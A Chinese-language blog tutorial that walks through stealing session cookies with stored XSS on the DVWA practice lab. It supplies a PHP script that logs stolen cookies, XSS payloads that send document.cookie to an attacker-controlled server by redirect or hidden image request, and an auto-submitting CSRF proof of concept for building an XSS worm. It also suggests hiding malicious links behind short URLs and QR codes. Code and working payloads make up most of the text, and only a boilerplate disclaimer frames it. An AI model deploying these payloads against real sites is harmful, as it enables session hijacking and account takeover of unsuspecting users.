xss盜取cookie
什麼是cookie
cookie是曲奇餅,啊開個玩笑,cookie是每個使用者登入唯一id和賬號密碼一樣可以登入到網站,是的你沒有聽錯cookie可以直接登入,至於伺服器怎麼設定cookie
和cookie儲存這裡就不說了,需的要自行百度
xss盜取cookie(dvwa演示)
學習xss時覺得啊這,不就是一個彈窗嗎,有啥用,經過學習後發現xss的危害還是挺大的,彈窗的目的只是說明這裡可以執行動態指令碼,那就可以幹很多事情了
環境配置
官網:http://www.dvwa.co.uk/
下載地址:https://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址:https://m.xp.cn/
設定接受盜取cookie方式
xss盜取的cookie肯定是要儲存到我們自己的伺服器上,可以設定一個接受cookie的php網頁程式碼接受到請求攜帶cookie後儲存到檔案或者資料庫中等都可以,當然也可以不設定儲存,隨便請求一個一個伺服器網頁存在不存在無所謂,因為請求可以儲存到日誌檔案,但是看起來可能不方便而已,下面是儲存cookie的php程式碼
<?php
if(isset($_GET['cookie'])) //如果接收到cookie
{
$file = fopen('./cookie.txt', 'a'); //開啟儲存的檔案
fwrite($file, $_GET['cookie']."\r\n"); //將獲取的cookie儲存
fclose($file); //關閉檔案
}
放置xss(這裡用儲存型xss測試)
<script>document.location='http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>
我這裡用的本地的測試,document.cookie,就是獲取cookie,然後攜帶cookie訪問http://127.0.0.1/cookies/cookies.php?(換成自己伺服器ip就可以了,這裡我本地測試),先檢視一下我們的cookie
然後點選我們放儲存型xss的地方(xss(stored)),發現跳轉到了令一個網站,並且攜帶了你的cookie
在到cookie.php目錄檢視cookie.txt,可以發現cookie已經被儲存,cookie被盜取,我們可以利用cookie進行登入
這種動靜可能有點大,可以用js載入圖片的方式來傳送帶有cookie的請求,
<script>new Image().src = 'http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>
使用new Image()進行預載入
當然如果你還有其動靜小的方法可以留言,當然還可以用來載入其他的xss神器js程式碼
<script src=''>
xss蠕蟲
前提條件
有儲存型xss,可以csrf
原理(個人理解,如有錯誤可以評論聯絡我)
相關程式碼(只是簡單的,有過濾,要考慮繞過)
主體儲存xss
<script>document.location='csrf地址';</script>
csrf生成
用burpsuite抓包,右鍵,如圖選擇,copy複製,然後放到自己伺服器等等,當然也可以自己編寫csrf的poc,使之功能更加強大,可以自己點選等等,還有一些繞過等等,這只是簡單的csrf的poc
csrf演示程式碼,抓取的dvwa包加了js自動點選
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">
<input type="hidden" name="txtName" value="测试" />
<input type="hidden" name="mtxMessage" value="测试" />
<input type="hidden" name="btnSign" value="Sign Guestbook" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript"> // js自動點選
var form = document.getElementsByTagName('form')[0];
var input = document.getElementsByTagName('input')[3];
input.value = window.location.hash.substr(1);
form.submit();
</script>
</body>
</html>
受害者儲存xss和主體xss類似只是跳轉的網頁不同
<script>document.location='csrf地址';</script>
個人思考
xss的蠕蟲利用起來還是比較難的,要有儲存型xss(還要各種繞過),和csrf,但是危害是很大的,不僅僅是傳播文章,可以利用這個傳播盜取更多人cookie,個人資訊,位置,瀏覽器版本安裝軟體等等
xss利用的思考(持續思考)
像反射型xss,dom型的xss不在侷限於點一個很長的連結,可以利用其他第三方網站來跳轉,也可以利用短連結,也可以利用二維碼,二維碼捆綁一個連結,所以掃描未知二維碼是非常危險的事情
像儲存型xss,可以利用儲存型xss對其他網站進行流量攻擊
參考文章與說明
技術討論 | 記一次XSS蠕蟲滲透實驗
最後歡迎訪問我的個人部落格:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔